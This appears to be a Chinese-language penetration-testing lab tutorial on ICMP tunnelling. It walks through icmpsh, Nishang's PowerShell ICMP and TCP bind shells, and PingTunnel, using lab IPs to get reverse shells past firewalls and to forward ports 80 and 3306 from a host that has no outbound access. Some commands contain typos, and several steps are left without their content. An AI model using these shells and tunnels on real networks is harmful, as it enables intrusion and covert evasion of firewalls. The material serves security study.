一、icmpsh工具
ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。
在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问
常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。
这次使用的是icmpsh工具,下载地址:https://github.com/inquisb/icmpsh
我们基于windows2016和Kali进行通信
因为icmpsh工具要替代系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行不会稳定,在kali上修改以下参数:
# sysctl -w net.ipv4.icmp_echo_ignore_all=1 #设置为0可以还原
我们可以先来看看这个内核参数,使用如下命令:
cat /proc/sys/net/ipv4/icmp_echo_ignore_all
然后修改内核参数,修改成功
首先在Kali上将服务器端启动起来
python2 ./icmpsh_m.py 192.168.3.38 192.168.3.44
前面的IP是本机IP,后面的IP是目标机器的IP
然后再windows2016上启动其客户端
kali这边就获取到了windows2016的控制台
执行ipconfig发现没有问题,就是感觉慢了一点
我们使用wireshark去监听一下
使用命令whoami,然后使用wireshark进行监听
并且通过分析数据包发现,当响应的内容太多时,icmpsh会将内容分成多个数据包进行发送
如果windows反弹回来的命令行有乱码,则直接执行:chcp 65001的命令即可修正
二、PowerShell ICMP客户端
icmpsh.exe只能运行于Windows环境,而如果使用PowerShell ICMP客户端,则可以直接运行于任何有PowerShell的环境中
1、在Kali上正常运行icmpsh
# python2 ./icmpsh_m.py 192.168.3.38 192.168.3.44
2、在Windows环境运行NiShang中的icmp模块
进入到nishang/Shells目录
我们直接进入到PowerShell命令行里去运行
我们在当前环境中导入了这个模块
Import-Module .\Invoke-PowerShellIcmp.psl
然后我们就可以使用这个模块了
Invoke-PowerShellcmp 192.168.18.29
后面的IP地址是目标主机的IP地址
此时,在Kali中获取到了Windows2016的反弹Shell,反弹到了shell命令行了
然后就可以执行命令了
当然我们可以进行监听一下
这个是请求过去的
这是给我们返回来的
3、顺带了解一下NiShang框架中基于TCP的正向连接Shell
在Windows2016上执行:
Import-Moudle .\Invoke-PowerShellTcp.psl
Invoke-PowerShellTcp -Bind -Port 6666
此时进入监听状态,然后在Kali上运行以下命令正向连接:
4、使用TCP/UDP协议的反弹Shell
三、PingTunnel
1、如果需要安装在Centos环境中,安装步骤如下:
启动ptunnel
这是对应的ICMP数据包
ICMP的数据包突然变大,那它必然是一个问题,不管是什么目的,肯定是是一个问题,因为一个正常的ICMP数据包不可能会这么大
我们刚刚代理的是windows7的80端口
现在我们要进入windows7的mysql该怎么办
我们把端口换为3306
毫无疑问,我们的浏览器无法访问到其80端口,下图存在缓存,因为标题那儿一直在转圈,所以无法访问
127.0.0.1:8899
访问到的是mysql的信息
直接进入到目标主机的mysql环境
四、使用Go语言版本的pingtunnel
在Centos跳板机中运行服务器端
发现没有报错,那我们就可以在浏览器中配置代理了
然后我们再去访问一下,没有问题,访问成功
五、icmptunnel
对于内网,面试官最爱问的问题是:当某台主机不出网的时候,你会怎么办
其实我们实验中的windows7就不出网,它不能上外网,外网也不能访问它,因为我们ping 百度无法ping通,这就叫做不出网
不出网能不能使用端口映射
端口映射是要跟公网服务器打交道,不出网如何和公网打交道,所以说不出网不能使用端口映射
我们只能用内网路由和内网代理,让跳板机做端口转发,只有这三条路可选
那我们通过ICMP怎么办
然后就用PingTunnel这种方式来做端口转发,要和跳板机联通
接着可能又会问为难人的问题,跳板机也访问不到我们的windows7该怎么办
也许其他电脑能和我们的windows7联通